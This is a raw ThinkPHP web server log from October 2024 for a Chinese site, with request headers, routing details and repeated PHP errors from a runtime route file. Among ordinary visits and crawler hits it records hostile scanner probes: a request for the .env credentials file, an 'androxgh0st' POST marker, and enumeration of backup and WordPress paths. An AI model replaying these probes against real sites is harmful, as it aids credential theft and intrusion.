--------------------------------------------------------------- [ 2024-10-22T00:02:00+08:00 ] 219.82.2.10 GET 59.110.137.245/ [运行时间:0.009224s] [吞吐率:108.41req/s] [内存消耗:159.91kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.4256.169 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:02:00+08:00 ] 219.82.2.10 GET 59.110.137.245/ [运行时间:0.001485s] [吞吐率:673.35req/s] [内存消耗:159.92kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4322.112 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:02:00+08:00 ] 219.82.2.10 GET 59.110.137.245/favicon.ico [运行时间:0.016926s] [吞吐率:59.08req/s] [内存消耗:132.86kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'favicon.ico', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4322.112 Safari/537.36', 'accept-encoding' => 'gzip, x-gzip, deflate', 'host' => '59.110.137.245', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:21:13+08:00 ] 178.215.238.85 GET 59.110.137.245:80/login.rsp [运行时间:0.015265s] [吞吐率:65.51req/s] [内存消耗:132.33kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login.rsp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Hello World', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:28:11+08:00 ] 192.241.158.146 GET 51tianwei.com/.env [运行时间:0.004402s] [吞吐率:227.16req/s] [内存消耗:132.84kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:28:12+08:00 ] 192.241.158.146 POST 51tianwei.com/ [运行时间:0.017536s] [吞吐率:57.03req/s] [内存消耗:160.29kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36', 'accept-encoding' => 'gzip, deflate', 'accept' => '*/*', 'connection' => 'keep-alive', 'content-length' => '20', 'content-type' => 'application/x-www-form-urlencoded', ) [ info ] [ PARAM ] array ( '0x' => array ( 0 => 'androxgh0st', ), ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T00:34:12+08:00 ] 13.58.97.162 GET 59.110.137.245/ [运行时间:0.001587s] [吞吐率:630.06req/s] [内存消耗:159.89kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36', 'accept' => '*/*', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:09:01+08:00 ] 183.129.153.150 GET www.51tianwei.com/ [运行时间:1.791007s] [吞吐率:0.56req/s] [内存消耗:159.53kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Baiduspider-render/2.0; +http://www.baidu.com/search/spider.html)', 'referer' => 'https://www.baidu.com', 'host' => 'www.51tianwei.com', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-10-22T01:09:01+08:00 ] 183.129.153.150 GET www.51tianwei.com/ [运行时间:0.001435s] [吞吐率:696.84req/s] [内存消耗:159.74kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36 Edg/112.0.1722.34', 'referer' => 'https://www.baidu.com', 'host' => 'www.51tianwei.com', 'connection' => 'Keep-Alive', 'accept-encoding' => 'gzip', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] --------------------------------------------------------------- [ 2024-10-22T01:20:26+08:00 ] 178.215.238.85 GET 59.110.137.245:80/login.rsp [运行时间:0.020064s] [吞吐率:49.84req/s] [内存消耗:132.33kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'login.rsp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', 'connection' => 'close', 'upgrade-insecure-requests' => '1', 'user-agent' => 'Hello World', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:21:23+08:00 ] 179.43.191.98 GET 59.110.137.245:80/ [运行时间:0.010461s] [吞吐率:95.59req/s] [内存消耗:159.24kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245:80', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] [ error ] [8]未定义数组索引: HTTP_USER_AGENT[/data/wwwroot/tianwei/think/runtime/route.php:32] --------------------------------------------------------------- [ 2024-10-22T01:35:51+08:00 ] 20.188.239.29 HEAD 51tianwei.com/wordpress [运行时间:0.002126s] [吞吐率:470.37req/s] [内存消耗:132.59kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wordpress', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/ [运行时间:0.001425s] [吞吐率:701.74req/s] [内存消耗:159.69kb] [文件加载:33] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => NULL, 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/wp [运行时间:0.001853s] [吞吐率:539.67req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'wp', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/bc [运行时间:0.001744s] [吞吐率:573.38req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bc', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/bk [运行时间:0.001778s] [吞吐率:562.39req/s] [内存消耗:132.55kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'bk', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/backup [运行时间:0.001785s] [吞吐率:560.29req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:52+08:00 ] 20.188.239.29 HEAD 51tianwei.com/old [运行时间:0.001959s] [吞吐率:510.44req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:53+08:00 ] 20.188.239.29 HEAD 51tianwei.com/new [运行时间:0.001796s] [吞吐率:556.79req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'new', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:53+08:00 ] 20.188.239.29 HEAD 51tianwei.com/main [运行时间:0.001965s] [吞吐率:508.89req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'main', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T01:35:53+08:00 ] 20.188.239.29 HEAD 51tianwei.com/home [运行时间:0.001853s] [吞吐率:539.67req/s] [内存消耗:132.56kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'home', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36', 'accept' => '*/*', 'host' => '51tianwei.com', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] 